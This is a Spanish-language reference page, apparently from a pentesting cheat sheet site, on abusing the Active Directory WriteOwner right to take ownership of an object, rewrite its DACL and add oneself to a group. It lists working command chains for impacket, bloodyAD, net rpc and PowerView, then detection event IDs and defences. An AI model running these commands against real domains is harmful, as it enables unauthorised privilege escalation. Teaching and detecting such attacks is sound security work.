the_open_door
café
ESEN
← Volver al índice

WriteOwner

ATT&CKT1098
Arsenal completo de comandos en la cheatsheet

WriteOwner es una ACE de Active Directory que permite cambiar el propietario de un objeto (usuario, grupo o equipo). Por sí sola no concede control sobre el objeto, pero el propietario de un objeto siempre puede reescribir su DACL, así que WriteOwner es, en la práctica, un camino de dos pasos hacia el control total. Es una pieza recurrente del abuso de ACLs que BloodHound detecta por LDAP.

Cómo se abusa. La cadena clásica con las impacket-tools modernas:

owneredit.py -action write -new-owner <atacante> -target <objeto> <domain>/<atacante>:<pass>
dacledit.py -action write -rights WriteMembers -principal <atacante> -target-dn <DN> <domain>/<atacante>:<pass>
  1. owneredit nos hace propietarios del objeto.
  2. dacledit aprovecha esa propiedad para añadir una ACE que nos conceda lo que necesitemos: sobre un grupo, WriteMembers (para luego añadirnos con net rpc group addmem); sobre un usuario, FullControl (que abre Shadow Credentials, reseteo de contraseña o GenericWrite).

La misma cadena con bloodyAD (Linux) o PowerView (Windows):

bloodyAD -d <domain> -u <atacante> -p <pass> --host <dc> set owner <objeto> <atacante>
bloodyAD -d <domain> -u <atacante> -p <pass> --host <dc> add genericAll <objeto> <atacante>
net rpc group addmem "<grupo>" <atacante> -U '<domain>/<atacante>%<pass>' -S <dc>
Set-DomainObjectOwner -Identity <objeto> -OwnerIdentity <atacante>
Add-DomainObjectAcl -TargetIdentity <objeto> -PrincipalIdentity <atacante> -Rights WriteMembers
Add-DomainGroupMember -Identity "<grupo>" -Members <atacante>

Verificación. Tras el abuso conviene comprobar el nuevo estado en vez de darlo por hecho: listar los miembros del grupo (net rpc group members) o consultar la DACL con PowerView. La comprobación es la prueba de que el permiso se aplicó.

Cómo detectarlo. Los dos pasos dejan rastro distinto. Cambiar el propietario y reescribir la DACL generan sendos Event ID 5136 (se modificó un objeto del servicio de directorio): el primero altera el campo Owner del descriptor de seguridad, el segundo añade una ACE nueva. Ambos exigen Audit Directory Service Changes con una SACL en el objeto. Es una secuencia muy poco habitual en operación normal (nadie cambia el dueño de un grupo para luego darse permisos), así que un 5136 de tipo Owner seguido de otro que añade una ACE sobre el mismo objeto, desde un usuario de bajo privilegio, es una firma clara. La acción posterior (añadirte al grupo) aparece como 4728/4732/4756.

Defensa. Revisar quién es propietario de grupos y cuentas sensibles, y eliminar las ACE WriteOwner heredadas o concedidas a usuarios de bajo privilegio. BloodHound y Get-ADGroup -Properties nTSecurityDescriptor ayudan a auditarlas. El propietario de un objeto es tan peligroso como quien tiene control total sobre él.

HerramientasBloodHoundPowerViewowneredit.py

Máquinas donde se aplica